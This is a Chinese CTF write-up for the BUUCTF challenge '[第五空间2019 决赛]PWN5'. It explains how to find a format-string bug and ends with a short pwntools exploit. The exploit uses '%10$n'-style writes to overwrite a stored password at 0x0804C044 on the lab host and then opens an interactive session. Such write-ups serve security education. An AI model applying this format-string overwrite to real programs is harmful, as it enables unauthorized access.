【pwn】[第五空间2019 决赛]PWN5

【pwn】[第五空间2019 决赛]PWN5


这是Buuctf的一道题,是我实战遇到的第一道格式字符串漏洞,在此记录。

首先进行老三样,对文件进行查看
在这里插入图片描述
在这里插入图片描述
发现都已经有Canary了,应该不是搞栈溢出的了
再看看ida
在这里插入图片描述
很明显,确实不是栈溢出,这都已经溢出不来了。
同时我们看到这里
在这里插入图片描述
输出字符串的printf函数里面直接输入了地址,表明是有格式字符串漏洞的。

格式字符串漏洞讲解看这里或者这里

同时我们查看main函数的逻辑(就是上面那个伪代码),可以看出,主要是需要让我们的passwd输入值和从文件中输入的值保持相同,但是很明显我们根本就不知道这个nptr变量是个啥。那么我们就想着有没有办法可以直接覆盖这个变量,然后进行passwd变量的输入,这两者一样就好了。

对于格式化字符串漏洞,我们首先要确定输入点是栈中的第几个参数。
输入

AAAA %p %p %p %p %p %p %p %p %p %p %p %p

可以得到结果
在这里插入图片描述
可以数出,0x41414141是格式化字符串的第10个参数,所以我们构造的时候就需要从%10$n开始进行覆盖

这里很重要的一点是运用%n,将输出的字符串的数量覆盖进所指向的位置。

我们找到储存密码的地方为0x0804C044,我们一个字节一个字节的存入,所以不能是直接用0x0804C044,而是是用四个地址0x0804C0440x0804C0450x0804C0460x0804C047
在这里插入图片描述

所以我们构造出exp

from pwn import *
							

p=remote('node4.buuoj.cn','29192')#连接远程靶机
			
payload=p32(0x0804C044)+p32(0x0804C045)+p32(0x0804C046)+p32(0x0804C047)    		
payload +=b"%10$n%11$n%12$n%13$n"

p.sendline(payload)#将payload发送给程序	
p.sendline(str(0x10101010))
				
p.interactive()#进入交互界面

得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值